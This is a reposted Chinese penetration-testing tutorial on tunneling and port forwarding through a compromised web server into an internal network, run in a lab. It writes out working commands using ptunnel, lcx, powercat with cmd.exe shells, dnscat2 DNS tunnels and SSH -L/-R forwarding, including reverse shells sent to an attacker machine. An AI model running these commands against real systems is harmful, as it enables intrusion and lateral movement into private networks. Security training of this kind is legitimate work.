为什么要建立隧道
隧道–绕过端口屏蔽的方式。当我们拿到一台web服务器的权限时,内网服务器对于安全的考虑,可能会对进出的流量端口进行一些屏蔽,这样,我们就无法和内网的服务器进行连接。所以需要通过web服务器作为跳板,建立隧道,达到与内网服务器连通的效果。(个人理解)
判断内网的连通性
内网的连通性,就是是否能连接外网。
下面列出几种测试的方式:
1.ping命令
ping命令通过发送ICMP数据包,检测连通性。
2.nc
通过TCP协议连接。
3.curl命令
通过HTTP协议,可以对目标网站发起请求,上传,下载等。
4.nslookup,dig命令
通过DNS协议,nslookup(windows命令),dig(linux命令 )。
该命令会对DNS服务器进行地址的读取。
常用的网络隧道技术(常用工具)
网络层
ICMP隧道
协议不解释。
搭建前提:外网可以ping通内网服务器,但是无法直接访问服务器。
PingTunnel(可跨平台)
下载链接:http://freshmeat.sourceforge.net/projects/ptunnel/
安装步骤:
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
如果出现报错:pcap.h
wegt 下载:http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
出现错误:
安装:
如果缺少第三方包,安装第三方包即可。
使用方式
在web服务器上开始隧道服务:
ptunnel -x test
攻击机上执行:
访问攻击机1080端口时,会把192.168.100.100的3389端口服务的数据封装在ICMP隧道中,以web服务器192.168.133.129为跳板进行传输。
ptunnel -p 192.168.133.129 -lp 1080 -da 192.168.100.100 -dp 3389 -x test
物理机连接vps的1080端口:
参数解释:
-x 设置隧道连接密码
-lp 指定监听的端口
-da 转发的IP地址
-dp 转发的tcp端口
-p 开启icmp隧道的ip地址
传输层
基于Socket套接字
lcx(windows)
在目标服务器上执行:
将本地的3389端口转发到192.168.100.101(攻击机)的4444端口
lcx-32.exe -slave 192.168.100.101:4444 127.0.0.1:3389
在攻击机上执行:
将4444端口数据转发到5555端口
lcx-32.exe -listen 4444 5555
连接攻击机的5555端口:
基于tcp协议
nc(linux,windows)
PowerCat(nc的PowerShell版)
下载链接:https://github.com/besimorhino/powercat.git
进入powershell环境,进行导入:
Import-Module .\powercat.ps1
如果出现错误,执行:
Set-ExecutionPolicy RemoteSigned
再进行导入。
实验测试
kali linux 、win 7 、win server 08
win 7 可以和另外两台主机ping通,kali和08不能ping通。
以win 7 为跳板实现kali连接08.
在08中执行:
powercat -l -v -p 7777 -e cmd.exe
在 win 7 执行:
powercat -l -v -p 8888 -r tcp:192.168.100.100:7777
kali 对 win7 的8888端口进行连接:
PowerCat基于DNS协议进行端口转发
首先下载dnscat2:https://github.com/besimorhino/powercat.git
cd dnscat2/server/
gem install bundler
bundle install
win 7执行:
powercat -l -p 8000 -r dns:攻击机ip地址::ttpowercar.test
kali:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
08 server:
powercat -c 跳板机ip -p 8000 -v -e cmd.exe
kali 收到连接:
应用层
基于ssh协议
ssh隧道协议常用参数:
-C 压缩传输,提高传输速度
-f 转入后台执行,不占用当前shell
-N 建立连接,但不返回会话
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定ssh端口
本地转发
测试环境:
攻击机kali linux (192.168.133.149)
web服务器:linux (192.168.133.129、192.168.100.128)
内网服务器:Windows server 08 (192.168.100.100)
首先web服务器要开启ssh服务。
攻击机kali执行:
ssh -CfNg -L 1153:192.168.100.100:3389 root@192.168.133.129
查看1153端口的服务:
连接此端口:
本地端口转发:以web服务器为跳板,将内网的端口映射到攻击机的指定端口。
远程转发
环境不变。
条件:攻击机不能访问内网的任何一台主机(包括web服务器)
但是web服务器可以访问外网攻击机。
在web服务器上执行:
ssh -CfNg -R 3307:192.168.100.100:3389 root@192.168.133.149
攻击机访问本地3307端口:
以web服务器为跳板,将攻击机的3307端口的流量转发到内网服务器的3389端口,访问本地3307来连接内网的3389。
总结
简单总结了几种常见的端口转发方式,有的工具在使用的时候需要安装第三方库,在实战中可能会存在一些问题。
转载:https://blog.csdn.net/qq_45742511/article/details/117063894